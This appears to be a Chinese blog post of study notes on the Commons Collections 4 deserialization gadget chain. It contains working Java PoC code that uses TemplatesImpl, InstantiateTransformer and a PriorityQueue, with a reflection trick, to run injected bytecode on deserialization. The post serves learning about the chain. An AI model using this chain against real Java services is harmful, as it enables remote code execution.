cc4学习笔记
Flow

环境

分析

这次的CC4 最后没有用到InvokerTransformer,而是InstantiateTransformer,看到他的transform(),之前CC3就接触到这个,后面有个实例化刚好符合类加载 所以这次的终点是InstantiateTransformer#transform,开始倒推

发现TransformingComparator#compare 里面调用了transform(),而且里面的this.tranformer可以通过构造函数控制值

再find usage,来到PriorityQueue#siftDownComparable

就这么一步一步往上找,最后刚好能找到有一个readObject入口,很顺利,链子倒推就是

1
2
3
4
5
6
InstantiateTransformer.transform()
-> TransformingComparator.compare()
-> PriorityQueue.siftDownComparable()
-> PriorityQueue.siftFown()
-> PriorityQueue.heapify()
-> PriorityQueue.readObject()

然后这里TransformingComparator.compare()就是public了,直接修改这后面的东西,前面那一段等反序列化自动调用即可

EXP编写

先结合之前CC3的内容,尝试直接调用transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class CC4 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}

public static void setFieldValue(Object object, String fieldName, Object filedValue) throws IllegalAccessException, NoSuchFieldException {
Field filed = object.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(object,filedValue);
}
}

这样执行成功弹出计算机,接下来尝试调用compare()

前面的内容不变

1
2
3
4
//        chainedTransformer.transform(1);
-->
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
comparator.compare(1,2);

没问题,接下来尝试把comparator包在PriorityQueue里面,然后直接尝试序列化反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
// comparator.compare(1,2);

PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
serialize(priorityQueue);
unserialize("ser.bin");
}

但是这次执行失败,按理说是没问题的,调试一下,把断点打在heapify()里面

跟进,发现这个for都进不去

我们要控制(size >>> 1) - 1运算结果大于等于0,size是2就好,那我们前面多给priorityQueue加两个东西,使得size是2就能进去for循环

1
2
priorityQueue.add(1);
priorityQueue.add(2);

这次再跟进就能进入for循环了,但是这次发现没有序列化反序列化就会弹计算机了

这次跟进到add里面,发现在add的过程中会跳到compare一次然后调用transform()后面一系列流程,相当于提前走了readObject流程的后半部份,让我联想到CC6里面其中一部份到了put也会自动弹计算机,解决思路就是在add的时候先控制对象里面没有我们要加载的字节码相关内容,add之后再通过反射修改回去

最后poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
// comparator.compare(1,2);

PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator");
Field comparatorField = c.getDeclaredField("transformer");
comparatorField.setAccessible(true);
comparatorField.set(comparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.txt");
}

总结

有了前面三个链子,再看CC4里面的问题,确实简单多了,希望自己写笔记的效率能高点

画了张小图,如果有错误十分欢迎找我指正🙏

参考

https://drun1baby.top/2022/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8706-CC4%E9%93%BE/

https://www.cnblogs.com/1vxyz/p/17473641.html

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep